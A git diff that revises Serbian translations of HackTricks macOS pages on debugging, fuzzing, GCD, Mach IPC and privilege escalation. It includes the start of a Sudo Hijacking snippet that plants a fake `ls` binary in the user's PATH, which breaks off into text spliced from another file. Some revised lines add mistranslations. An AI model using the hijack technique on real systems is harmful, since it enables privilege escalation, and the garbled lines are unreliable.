@@ -343,7 +343,7 @@ To je funkcija za praćenje jezgra. Dokumentovani kodovi se mogu naći u **`/usr
Alati kao što su `latency`, `sc_usage`, `fs_usage` i `trace` koriste je interno.
-Za interakciju sa `kdebug` koristi se `sysctl` preko `kern.kdebug` imenskog prostora, a MIB-ovi koji se koriste mogu se naći u `sys/sysctl.h` gde su funkcije implementirane u `bsd/kern/kdebug.c`.
+Za interakciju sa `kdebug` koristi se `sysctl` preko `kern.kdebug` imenskog prostora, a MIB-ovi koji se koriste mogu se naći u `sys/sysctl.h`, sa funkcijama implementiranim u `bsd/kern/kdebug.c`.
Da bi se interagovalo sa kdebug-om sa prilagođenim klijentom, obično su to koraci:
@@ -387,8 +387,8 @@ Kperf takođe ima sysctl MIB tabelu: (kao root) `sysctl kperf`. Ovi kodovi se mo
### SpriteTree
-[**SpriteTree**](https://themittenmac.com/tools/) je alat koji štampa odnose između procesa.\
-Morate pratiti vaš mac sa komandom kao **`sudo eslogger fork exec rename create > cap.json`** (terminal koji pokreće ovo zahteva FDA). A zatim možete učitati json u ovaj alat da biste videli sve odnose:
+[**SpriteTree**](https://themittenmac.com/tools/) je alat koji prikazuje odnose između procesa.\
+Morate pratiti svoj mac sa komandom kao što je **`sudo eslogger fork exec rename create > cap.json`** (terminal koji pokreće ovo zahteva FDA). A zatim možete učitati json u ovaj alat da biste videli sve odnose:
@@ -431,14 +431,14 @@ lldb -p 1122
lldb -n malware.bin
lldb -n malware.bin --waitfor
```
-Možete postaviti intel varijantu kada koristite lldb kreiranjem datoteke pod nazivom **`.lldbinit`** u vašem domaćem folderu sa sledećom linijom:
+Možete postaviti intel varijantu kada koristite lldb kreiranjem datoteke pod nazivom **`.lldbinit`** u vašem domaćem direktorijumu sa sledećom linijom:
```bash
settings set target.x86-disassembly-flavor intel
```
> [!WARNING]
> Unutar lldb, dump-ujte proces sa `process save-core`
-
(lldb) Komanda
Opis
run (r)
Pokreće izvršavanje, koje će se nastaviti bez prekida dok se ne dostigne breakpoint ili proces ne završi.
process launch --stop-at-entry
Pokreće izvršavanje zaustavljajući se na ulaznoj tački
continue (c)
Nastavlja izvršavanje debagovanog procesa.
nexti (n / ni)
Izvršava sledeću instrukciju. Ova komanda će preskočiti pozive funkcija.
stepi (s / si)
Izvršava sledeću instrukciju. Za razliku od nexti komande, ova komanda će ući u pozive funkcija.
finish (f)
Izvršava ostatak instrukcija u trenutnoj funkciji (“frame”) i vraća se i zaustavlja.
control + c
Pauzira izvršavanje. Ako je proces pokrenut (r) ili nastavljen (c), ovo će uzrokovati da proces stane ...gde god trenutno izvršava.
breakpoint (b)
b main #Svaka funkcija koja se zove main
b <binname>`main #Glavna funkcija binarija
b set -n main --shlib <lib_name> #Glavna funkcija označenog binarija
breakpoint set -r '\[NSFileManager .*\]$' #Svaka NSFileManager metoda
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # Prekini u svim funkcijama te biblioteke
b -a 0x0000000100004bd9
br l #Lista breakpointova
br e/dis <num> #Omogući/Onemogući breakpoint
breakpoint delete <num>
help
help breakpoint #Dobijte pomoć za breakpoint komandu
help memory write #Dobijte pomoć za pisanje u memoriju
Prikazuje memoriju kao string koji se završava nulom.
x/i <reg/adresa u memoriji>
Prikazuje memoriju kao instrukciju asemblera.
x/b <reg/adresa u memoriji>
Prikazuje memoriju kao bajt.
print object (po)
Ovo će odštampati objekat na koji se poziva parametar
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
Napomena da većina Apple-ovih Objective-C API-ja ili metoda vraća objekte, i stoga bi trebali biti prikazani putem komande “print object” (po). Ako po ne daje smislen izlaz, koristite x/b
memory
memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #Upiši AAAA na tu adresu memory write -f s $rip+0x11f+7 "AAAA" #Upiši AAAA na adresu
disassembly
dis #Disas trenutnu funkciju
dis -n <funcname> #Disas funkciju
dis -n <funcname> -b <basename> #Disas funkciju dis -c 6 #Disas 6 linija dis -c 0x100003764 -e 0x100003768 # Od jedne adrese do druge dis -p -c 4 # Počni u trenutnoj adresi disasembli
parray
parray 3 (char **)$x1 # Proveri niz od 3 komponente u x1 registru
image dump sections
Štampa mapu trenutne memorije procesa
image dump symtab <library>
image dump symtab CoreNLP #Dobij adresu svih simbola iz CoreNLP
+
(lldb) Komanda
Opis
run (r)
Pokreće izvršavanje, koje će se nastaviti bez prekida dok se ne dostigne breakpoint ili proces ne završi.
process launch --stop-at-entry
Pokreće izvršavanje zaustavljajući se na ulaznoj tački
continue (c)
Nastavlja izvršavanje debagovanog procesa.
nexti (n / ni)
Izvršava sledeću instrukciju. Ova komanda će preskočiti pozive funkcija.
stepi (s / si)
Izvršava sledeću instrukciju. Za razliku od nexti komande, ova komanda će ući u pozive funkcija.
finish (f)
Izvršava ostatak instrukcija u trenutnoj funkciji (“frame”) i vraća se i zaustavlja.
control + c
Pauses izvršavanje. Ako je proces pokrenut (r) ili nastavljen (c), ovo će uzrokovati da proces stane ...gde god trenutno izvršava.
breakpoint (b)
b main #Svaka funkcija koja se zove main
b `main #Glavna funkcija binarija
b set -n main --shlib #Glavna funkcija označenog binarija
breakpoint set -r '\[NSFileManager .*\]$' #Svaka NSFileManager metoda
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # Prekini u svim funkcijama te biblioteke
b -a 0x0000000100004bd9
br l #Lista breakpointova
br e/dis #Omogući/Onemogući breakpoint
breakpoint delete
help
help breakpoint #Dobijte pomoć za breakpoint komandu
help memory write #Dobijte pomoć za pisanje u memoriju
Prikazuje memoriju kao string koji se završava nulom.
x/i
Prikazuje memoriju kao instrukciju asemblera.
x/b
Prikazuje memoriju kao bajt.
print object (po)
Ovo će odštampati objekat na koji se referiše parametar
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
Napomena da većina Apple-ovih Objective-C API-ja ili metoda vraća objekte, i stoga bi trebala biti prikazana putem komande “print object” (po). Ako po ne daje smislen izlaz, koristite x/b
memory
memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #Upiši AAAA na tu adresu memory write -f s $rip+0x11f+7 "AAAA" #Upiši AAAA na adresu
disassembly
dis #Disas trenutnu funkciju
dis -n #Disas funkciju
dis -n -b #Disas funkciju dis -c 6 #Disas 6 linija dis -c 0x100003764 -e 0x100003768 # Od jedne adrese do druge dis -p -c 4 # Počni u trenutnoj adresi disasemblerajući
parray
parray 3 (char **)$x1 # Proveri niz od 3 komponente u x1 registru
image dump sections
Štampa mapu trenutne memorije procesa
image dump symtab
image dump symtab CoreNLP #Dobij adresu svih simbola iz CoreNLP
> [!NOTE]
> Kada se poziva funkcija **`objc_sendMsg`**, registar **rsi** sadrži **ime metode** kao string koji se završava nulom (“C”). Da biste odštampali ime putem lldb, uradite:
@@ -462,7 +462,7 @@ settings set target.x86-disassembly-flavor intel
- Takođe može pozvati **`ptrace`** sistemski poziv sa **`PT_DENY_ATTACH`** flagom. Ovo **sprečava** deb**u**gger da se priključi i prati.
- Možete proveriti da li je funkcija **`sysctl`** ili **`ptrace`** **importovana** (ali malver bi mogao da je importuje dinamički)
- Kao što je navedeno u ovom izveštaju, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
-“_Poruka Process # exited with **status = 45 (0x0000002d)** obično je znak da je cilj debagovanja koristio **PT_DENY_ATTACH**_”
+“_Poruka Process # exited with **status = 45 (0x0000002d)** obično je znak da je cilj debagovanja u upotrebi **PT_DENY_ATTACH**_”
## Core Dumps
@@ -478,7 +478,7 @@ U tim slučajevima, core dump se generiše prema `kern.corefile` sysctl i običn
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
-ReportCrash **analizira procese koji se ruše i čuva izveštaj o padu na disk**. Izveštaj o padu sadrži informacije koje mogu **pomoći programeru da dijagnostikuje** uzrok pada.\
+ReportCrash **analizira procese koji se ruše i čuva izveštaj o padu na disku**. Izveštaj o padu sadrži informacije koje mogu **pomoći programeru da dijagnostikuje** uzrok pada.\
Za aplikacije i druge procese **koji se izvršavaju u kontekstu per-user launchd**, ReportCrash se pokreće kao LaunchAgent i čuva izveštaje o padu u korisnikovom `~/Library/Logs/DiagnosticReports/`\
Za daemone, druge procese **koji se izvršavaju u kontekstu sistemskog launchd** i druge privilegovane procese, ReportCrash se pokreće kao LaunchDaemon i čuva izveštaje o padu u sistemskom `/Library/Logs/DiagnosticReports`
@@ -492,17 +492,17 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Roo
launchctl load -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist
```
-### Spavanje
+### Sleep
-Dok fuzzujete na MacOS-u, važno je ne dozvoliti Mac-u da spava:
+Dok fuzzing-a na MacOS-u, važno je ne dozvoliti Mac-u da zaspi:
- systemsetup -setsleep Never
- pmset, System Preferences
- [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake)
-#### SSH Isključenje
+#### SSH Disconnect
-Ako fuzzujete putem SSH veze, važno je osigurati da sesija ne isključi. Tako da promenite sshd_config datoteku sa:
+Ako fuzzing-ujete putem SSH veze, važno je osigurati da sesija ne isključi. Tako da promenite sshd_config datoteku sa:
- TCPKeepAlive Yes
- ClientAliveInterval 0
@@ -544,7 +544,7 @@ Radi za CLI alate
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
-Prosto radi sa macOS GUI alatima. Imajte na umu da neke macOS aplikacije imaju specifične zahteve kao što su jedinstvena imena datoteka, prava ekstenzija, potreba da se datoteke čitaju iz sandboxes (`~/Library/Containers/com.apple.Safari/Data`)...
+To "**samo radi"** sa macOS GUI alatima. Imajte na umu da neke macOS aplikacije imaju specifične zahteve kao što su jedinstvena imena datoteka, prava ekstenzija, potreba da se datoteke čitaju iz sandboxes (`~/Library/Containers/com.apple.Safari/Data`)...
Neki primeri:
```bash
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
index 44f1d0b52..3165ce08c 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
@@ -4,16 +4,16 @@
## Фајрволи
-- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Он ће надгледати сваку везу коју направи сваки процес. У зависности од режима (тихо дозвољава везе, тихо одбија везу и упозорава) он ће **показати упозорење** сваки пут када се успостави нова веза. Такође има веома леп GUI за преглед свих ових информација.
+- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Он ће надгледати сваку везу коју направи сваки процес. У зависности од режима (тихо дозвољавање веза, тихо одбијање везе и упозорење) он ће **показати упозорење** сваки пут када се успостави нова веза. Такође има веома леп GUI за преглед свих ових информација.
- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See фајрвол. Ово је основни фајрвол који ће вас упозорити на сумњиве везе (има GUI, али није тако сјајан као код Little Snitch).
## Детекција перзистенције
-- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See апликација која ће претражити неколико локација где **малуер може бити перзистентан** (то је алат за једнократну употребу, а не сервис за мониторинг).
+- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See апликација која ће претражити неколико локација где **малуер може бити перзистентан** (то је алат за једнократну употребу, а не сервис за надгледање).
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Попут KnockKnock, надгледа процесе који генеришу перзистенцију.
## Детекција кејлогера
-- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See апликација за проналажење **кејлогера** који инсталирају "event taps" на тастатури
+- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See апликација за проналажење **кејлогера** који инсталирају "event taps" на тастатури.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
index a78eba82b..5731f58b3 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
@@ -4,9 +4,9 @@
## Osnovne informacije
-**Grand Central Dispatch (GCD),** poznat i kao **libdispatch** (`libdispatch.dyld`), dostupan je i na macOS-u i na iOS-u. To je tehnologija koju je razvila Apple kako bi optimizovala podršku aplikacijama za konkurentno (multithreaded) izvršavanje na višekore hardveru.
+**Grand Central Dispatch (GCD),** takođe poznat kao **libdispatch** (`libdispatch.dyld`), dostupan je i na macOS-u i na iOS-u. To je tehnologija koju je razvila Apple kako bi optimizovala podršku aplikacijama za konkurentno (multithreaded) izvršavanje na višekorisničkom hardveru.
-**GCD** pruža i upravlja **FIFO redovima** u koje vaša aplikacija može **slati zadatke** u obliku **blok objekata**. Blokovi poslati u redove za raspodelu se **izvršavaju na skupu niti** koje u potpunosti upravlja sistem. GCD automatski kreira niti za izvršavanje zadataka u redovima za raspodelu i zakazuje te zadatke da se izvrše na dostupnim jezgrama.
+**GCD** pruža i upravlja **FIFO redovima** u koje vaša aplikacija može **podneti zadatke** u obliku **blok objekata**. Blokovi podneti redovima za raspodelu se **izvršavaju na skupu niti** koje u potpunosti upravlja sistem. GCD automatski kreira niti za izvršavanje zadataka u redovima za raspodelu i zakazuje te zadatke da se izvrše na dostupnim jezgrama.
> [!TIP]
> Ukratko, da bi se izvršio kod u **paraleli**, procesi mogu slati **blokove koda GCD-u**, koji će se pobrinuti za njihovo izvršavanje. Stoga, procesi ne kreiraju nove niti; **GCD izvršava dati kod sa svojim sopstvenim skupom niti** (koji se može povećavati ili smanjivati po potrebi).
@@ -18,7 +18,7 @@ Ovo je veoma korisno za uspešno upravljanje paralelnim izvršavanjem, značajno
Blok je **samostalna sekcija koda** (poput funkcije sa argumentima koja vraća vrednost) i može takođe specificirati vezane promenljive.\
Međutim, na nivou kompajlera blokovi ne postoje, oni su `os_object`s. Svaki od ovih objekata se sastoji od dve strukture:
-- **blok literal**:
+- **blok literal**:
- Počinje sa **`isa`** poljem, koje pokazuje na klasu bloka:
- `NSConcreteGlobalBlock` (blokovi iz `__DATA.__const`)
- `NSConcreteMallocBlock` (blokovi u heap-u)
@@ -37,9 +37,9 @@ Međutim, na nivou kompajlera blokovi ne postoje, oni su `os_object`s. Svaki od
Red za raspodelu je imenovani objekat koji pruža FIFO redosled blokova za izvršavanje.
-Blokovi se postavljaju u redove za izvršavanje, a ovi podržavaju 2 moda: `DISPATCH_QUEUE_SERIAL` i `DISPATCH_QUEUE_CONCURRENT`. Naravno, **serijski** neće imati probleme sa trkačkim uslovima jer blok neće biti izvršen dok prethodni ne završi. Ali **drugi tip reda može imati**.
+Blokovi se postavljaju u redove za izvršavanje, a ovi podržavaju 2 moda: `DISPATCH_QUEUE_SERIAL` i `DISPATCH_QUEUE_CONCURRENT`. Naravno, **serijski** neće imati probleme sa uslovima trke jer blok neće biti izvršen dok prethodni ne završi. Ali **drugi tip reda može imati**.
-Podrazumevani redovi:
+Podrazumevajući redovi:
- `.main-thread`: Iz `dispatch_get_main_queue()`
- `.libdispatch-manager`: GCD-ov menadžer redova
@@ -61,14 +61,14 @@ Obratite pažnju da će sistem odlučiti **koje niti upravljaju kojim redovima u
#### Atributi
-Kada kreirate red sa **`dispatch_queue_create`**, treći argument je `dispatch_queue_attr_t`, koji obično može biti ili `DISPATCH_QUEUE_SERIAL` (što je zapravo NULL) ili `DISPATCH_QUEUE_CONCURRENT`, što je pokazivač na `dispatch_queue_attr_t` strukturu koja omogućava kontrolu nekih parametara reda.
+Kada kreirate red sa **`dispatch_queue_create`** treći argument je `dispatch_queue_attr_t`, koji obično može biti ili `DISPATCH_QUEUE_SERIAL` (što je zapravo NULL) ili `DISPATCH_QUEUE_CONCURRENT`, što je pokazivač na `dispatch_queue_attr_t` strukturu koja omogućava kontrolu nekih parametara reda.
### Dispatch objekti
Postoji nekoliko objekata koje libdispatch koristi, a redovi i blokovi su samo 2 od njih. Moguće je kreirati ove objekte sa `dispatch_object_create`:
- `block`
-- `data`: Blokovi podataka
+- `data`: Podaci blokovi
- `group`: Grupa blokova
- `io`: Asinhroni I/O zahtevi
- `mach`: Mach portovi
@@ -132,8 +132,8 @@ return 0;
```
## Swift
-**`libswiftDispatch`** je biblioteka koja pruža **Swift vezu** sa Grand Central Dispatch (GCD) okvirom koji je prvobitno napisan u C.\
-Biblioteka **`libswiftDispatch`** obavija C GCD API-je u interfejs koji je više prilagođen Swift-u, olakšavajući i čineći intuitivnijim rad sa GCD za Swift programere.
+**`libswiftDispatch`** je biblioteka koja pruža **Swift bindings** za Grand Central Dispatch (GCD) okvir koji je prvobitno napisan u C.\
+Biblioteka **`libswiftDispatch`** obavija C GCD API-je u interfejs koji je više prilagođen Swift-u, olakšavajući i čineći intuitivnijim rad za Swift programere sa GCD-om.
- **`DispatchQueue.global().sync{ ... }`**
- **`DispatchQueue.global().async{ ... }`**
@@ -185,7 +185,7 @@ Backtrace:
```
## Ghidra
-Trenutno Ghidra ne razume ni **`dispatch_block_t`** strukturu iz ObjectiveC, ni **`swift_dispatch_block`**.
+Trenutno Ghidra ne razume ni ObjectiveC **`dispatch_block_t`** strukturu, ni **`swift_dispatch_block`**.
Dakle, ako želite da ih razume, možete ih jednostavno **deklarisati**:
@@ -198,7 +198,7 @@ Dakle, ako želite da ih razume, možete ih jednostavno **deklarisati**:
Zatim, pronađite mesto u kodu gde se **koriste**:
> [!TIP]
-> Zabeležite sve reference na "block" kako biste razumeli kako možete da shvatite da se struktura koristi.
+> Zabeležite sve reference na "block" da biste razumeli kako možete da shvatite da se struktura koristi.
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
index 0bc0cff7c..8a334e4fb 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
@@ -4,7 +4,7 @@
## TCC Privilege Escalation
-Ako ste došli ovde tražeći TCC privilegiju eskalaciju, idite na:
+Ako ste došli ovde tražeći TCC eskalaciju privilegija, idite na:
{{#ref}}
macos-security-protections/macos-tcc/
@@ -22,9 +22,9 @@ Imajte na umu da **većina trikova o eskalaciji privilegija koji utiču na Linux
### Sudo Hijacking
-Možete pronaći originalnu [Sudo Hijacking tehniku unutar posta o Linux privilegiji eskalaciji](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking).
+Možete pronaći originalnu [Sudo Hijacking tehniku unutar posta o eskalaciji privilegija za Linux](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking).
-Međutim, macOS **održava** korisnikov **`PATH`** kada izvršava **`sudo`**. Što znači da bi drugi način da se postigne ovaj napad bio da se **otmu drugi binarni fajlovi** koje žrtva još uvek izvršava kada **pokreće sudo:**
+Međutim, macOS **održava** korisnikov **`PATH`** kada izvršava **`sudo`**. Što znači da bi drugi način za postizanje ovog napada bio da **otmete druge binarne datoteke** koje žrtva još uvek izvršava kada **pokreće sudo:**
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls < [!CAUTION]
> Stoga, launchd nikada ne bi trebao da se sruši ili će ceo sistem pasti.
@@ -74,7 +74,7 @@ Međutim, ovaj proces se primenjuje samo na unapred definisane sistemske zadatke
[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
-Funkcija `mach_msg`, koja je u suštini sistemski poziv, koristi se za slanje i primanje Mach poruka. Funkcija zahteva da poruka bude poslata kao početni argument. Ova poruka mora početi sa `mach_msg_header_t` strukturom, nakon koje sledi stvarni sadržaj poruke. Struktura je definisana na sledeći način:
+Funkcija `mach_msg`, koja je u suštini sistemski poziv, koristi se za slanje i primanje Mach poruka. Funkcija zahteva da poruka bude poslata kao početni argument. Ova poruka mora početi sa strukturom `mach_msg_header_t`, nakon koje sledi stvarni sadržaj poruke. Struktura je definisana kao follows:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@@ -108,12 +108,12 @@ Tipovi koji se mogu specificirati u voucheru, lokalnim i udaljenim portovima su
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
```
-Na primer, `MACH_MSG_TYPE_MAKE_SEND_ONCE` može se koristiti da **naznači** da bi **send-once** **pravo** trebalo da bude izvedeno i preneseno za ovu portu. Takođe se može odrediti `MACH_PORT_NULL` da se spreči primalac da može da odgovori.
+Na primer, `MACH_MSG_TYPE_MAKE_SEND_ONCE` može da se koristi da **naznači** da bi **send-once** **pravo** trebalo da bude izvedeno i preneseno za ovu portu. Takođe se može specificirati `MACH_PORT_NULL` da se spreči primalac da može da odgovori.
-Da bi se postigla laka **dvosmerna komunikacija**, proces može da odredi **mach port** u mach **header-u poruke** nazvanom _reply port_ (**`msgh_local_port`**) gde **primalac** poruke može da **pošalje odgovor** na ovu poruku.
+Da bi se postigla laka **dvosmerna komunikacija**, proces može da specificira **mach port** u mach **header-u poruke** nazvanom _reply port_ (**`msgh_local_port`**) gde **primalac** poruke može da **pošalje odgovor** na ovu poruku.
> [!TIP]
-> Imajte na umu da se ova vrsta dvosmerne komunikacije koristi u XPC porukama koje očekuju odgovor (`xpc_connection_send_message_with_reply` i `xpc_connection_send_message_with_reply_sync`). Ali **obično se kreiraju različite portove** kao što je objašnjeno ranije da bi se stvorila dvosmerna komunikacija.
+> Imajte na umu da se ova vrsta dvosmerne komunikacije koristi u XPC porukama koje očekuju odgovor (`xpc_connection_send_message_with_reply` i `xpc_connection_send_message_with_reply_sync`). Ali **obično se kreiraju različiti portovi** kao što je objašnjeno ranije da bi se stvorila dvosmerna komunikacija.
Ostala polja header-a poruke su:
@@ -125,13 +125,13 @@ Ostala polja header-a poruke su:
> [!CAUTION]
> Imajte na umu da se **mach poruke šalju preko `mach port`**, koji je **jedan primalac**, **više pošiljalaca** komunikacioni kanal ugrađen u mach kernel. **Više procesa** može **slati poruke** na mach port, ali u bilo kojem trenutku samo **jedan proces može čitati** iz njega.
-Poruke se formiraju sa **`mach_msg_header_t`** header-om praćenim **telom** i **trailer-om** (ako postoji) i može dati dozvolu za odgovor na nju. U tim slučajevima, kernel samo treba da prenese poruku iz jednog zadatka u drugi.
+Poruke se formiraju tako što se koristi **`mach_msg_header_t`** header praćen **telom** i **trailer-om** (ako postoji) i može dati dozvolu za odgovor na nju. U ovim slučajevima, kernel samo treba da prenese poruku iz jednog zadatka u drugi.
-**Trailer** je **informacija koja se dodaje poruci od strane kernela** (ne može je postaviti korisnik) koja se može zatražiti prilikom prijema poruke sa zastavicama `MACH_RCV_TRAILER_` (postoji različite informacije koje se mogu zatražiti).
+**Trailer** je **informacija koju dodaje kernel** (ne može je postaviti korisnik) koja se može zatražiti prilikom prijema poruke sa oznakama `MACH_RCV_TRAILER_` (postoji različite informacije koje se mogu zatražiti).
#### Kompleksne Poruke
-Međutim, postoje i druge **kompleksne** poruke, poput onih koje prenose dodatna prava na port ili dele memoriju, gde kernel takođe treba da pošalje te objekte primaocu. U tim slučajevima, najznačajniji bit header-a `msgh_bits` je postavljen.
+Međutim, postoje i druge **kompleksne** poruke, poput onih koje prenose dodatna prava na port ili dele memoriju, gde kernel takođe treba da pošalje ove objekte primaocu. U ovim slučajevima, najznačajnija bit header-a `msgh_bits` je postavljena.
Mogući deskriptori za prenos su definisani u [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html):
```c
@@ -159,22 +159,22 @@ U 32 bita, svi deskriptori su 12B, a tip deskriptora je u 11. bajtu. U 64 bita,
### Mac Ports APIs
-Napomena da su portovi povezani sa imenskim prostorom zadatka, tako da da biste kreirali ili pretražili port, imenski prostor zadatka se takođe pretražuje (više u `mach/mach_port.h`):
+Napomena da su portovi povezani sa imenskim prostorom zadatka, tako da se za kreiranje ili pretraživanje porta takođe pretražuje imenski prostor zadatka (više u `mach/mach_port.h`):
-- **`mach_port_allocate` | `mach_port_construct`**: **Kreirajte** port.
+- **`mach_port_allocate` | `mach_port_construct`**: **Kreiraj** port.
- `mach_port_allocate` takođe može kreirati **port set**: pravo prijema nad grupom portova. Kada se poruka primi, označava se port iz kojeg je došla.
-- `mach_port_allocate_name`: Promenite ime porta (po defaultu 32-bitni ceo broj)
-- `mach_port_names`: Dobijte imena portova iz cilja
-- `mach_port_type`: Dobijte prava zadatka nad imenom
-- `mach_port_rename`: Preimenujte port (poput dup2 za FD-ove)
-- `mach_port_allocate`: Alocirajte novi RECEIVE, PORT_SET ili DEAD_NAME
-- `mach_port_insert_right`: Kreirajte novo pravo u portu gde imate RECEIVE
+- `mach_port_allocate_name`: Promeni ime porta (po defaultu 32bitni ceo broj)
+- `mach_port_names`: Dobij imena portova iz cilja
+- `mach_port_type`: Dobij prava zadatka nad imenom
+- `mach_port_rename`: Preimenuj port (kao dup2 za FD-ove)
+- `mach_port_allocate`: Alociraj novi RECEIVE, PORT_SET ili DEAD_NAME
+- `mach_port_insert_right`: Kreiraj novo pravo u portu gde imaš RECEIVE
- `mach_port_...`
- **`mach_msg`** | **`mach_msg_overwrite`**: Funkcije koje se koriste za **slanje i primanje mach poruka**. Verzija za prepisivanje omogućava da se odredi drugačiji bafer za prijem poruka (druga verzija će samo ponovo koristiti isti).
### Debug mach_msg
-Pošto su funkcije **`mach_msg`** i **`mach_msg_overwrite`** one koje se koriste za slanje i primanje poruka, postavljanje tačke prekida na njih bi omogućilo inspekciju poslatih i primljenih poruka.
+Pošto su funkcije **`mach_msg`** i **`mach_msg_overwrite`** one koje se koriste za slanje i primanje poruka, postavljanje prekida na njih bi omogućilo inspekciju poslatih i primljenih poruka.
Na primer, počnite da debagujete bilo koju aplikaciju koju možete debagovati jer će učitati **`libSystem.B` koja će koristiti ovu funkciju**.
@@ -186,10 +186,10 @@ Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
--> 0x181d3ac20 <+0>: pacibsp
-0x181d3ac24 <+4>: sub sp, sp, #0x20
-0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
-0x181d3ac2c <+12>: add x29, sp, #0x10
+-> 0x181d3ac20 <+0>: pacibsp
+0x181d3ac24 <+4>: sub sp, sp, #0x20
+0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
+0x181d3ac2c <+12>: add x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
@@ -202,7 +202,7 @@ frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
-frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
+frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
Da biste dobili argumente **`mach_msg`**, proverite registre. Ovo su argumenti (iz [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
@@ -217,7 +217,7 @@ mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);
```
-Dobijte vrednosti iz registrija:
+Preuzmite vrednosti iz registrija:
```armasm
reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
@@ -268,7 +268,7 @@ name ipc-object rights flags boost reqs recv send sonce oref q
[...]
```
**ime** je podrazumevano ime dato portu (proverite kako se **povećava** u prva 3 bajta). **`ipc-object`** je **obfuskovani** jedinstveni **identifikator** porta.\
-Takođe obratite pažnju na to kako portovi sa samo **`send`** pravima **identifikuju vlasnika** (ime porta + pid).\
+Takođe obratite pažnju na to kako portovi sa samo **`send`** pravom **identifikuju vlasnika** (ime porta + pid).\
Takođe obratite pažnju na upotrebu **`+`** da označite **druge zadatke povezane sa istim portom**.
Takođe je moguće koristiti [**procesxp**](https://www.newosxbook.com/tools/procexp.html) da se vide i **registrovana imena usluga** (sa onemogućenim SIP-om zbog potrebe za `com.apple.system-task-port`):
@@ -279,7 +279,7 @@ Možete instalirati ovaj alat na iOS preuzimanjem sa [http://newosxbook.com/tool
### Primer koda
-Obratite pažnju na to kako **pošiljalac** **dodeljuje** port, kreira **pravo slanja** za ime `org.darlinghq.example` i šalje ga **bootstrap serveru** dok je pošiljalac tražio **pravo slanja** tog imena i koristio ga za **slanje poruke**.
+Obratite pažnju kako **pošiljalac** **alokuje** port, kreira **pravo slanja** za ime `org.darlinghq.example` i šalje ga na **bootstrap server** dok je pošiljalac tražio **pravo slanja** tog imena i koristio ga za **slanje poruke**.
{{#tabs}}
{{#tab name="receiver.c"}}
@@ -415,7 +415,7 @@ Ovi portovi su predstavljeni brojem.
